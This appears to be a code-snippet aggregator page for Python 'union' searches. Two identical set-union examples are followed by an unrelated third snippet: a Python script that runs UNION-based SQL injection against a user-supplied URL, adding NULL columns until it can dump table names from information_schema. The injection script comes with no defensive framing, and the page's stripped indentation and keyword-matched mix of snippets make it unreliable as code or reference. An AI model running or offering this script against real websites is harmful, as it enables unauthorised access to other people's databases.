Example 1: list union python
set1 = {2, 4, 5, 6}
set2 = {4, 6, 7, 8}
set3 = {7, 8, 9, 10}
print("set1 U set2 : ", set1.union(set2))
print("set1 U set2 U set3 :", set1.union(set2, set3))
>>>
set1 U set2 : {2, 4, 5, 6, 7, 8}
set1 U set2 U set3 : {2, 4, 5, 6, 7, 8, 9, 10}
Example 2: .union in python
set1 = {2, 4, 5, 6}
set2 = {4, 6, 7, 8}
set3 = {7, 8, 9, 10}
print("set1 U set2 : ", set1.union(set2))
print("set1 U set2 U set3 :", set1.union(set2, set3))
Example 3: python union query
import requests
def main():
url = input('Target: ')
idx = 0
while True:
nulls = ', '.join([f'Null as Col{x}' for x in range(idx)])
if idx > 0:
nulls = ', ' + nulls
req = f'id=48 AND 1=2 UNION SELECT table_schema, table_name {nulls} FROM information_schema.tables'
print(f'''\n
{req}
''')
r = requests.get(f'{url}?{req}')
if 'The used SELECT statements have a different number of columns' not in str(r.content):
print(f'''\n
{r.text}
''')
break
idx = idx + 1
if __name__ == '__main__':
main()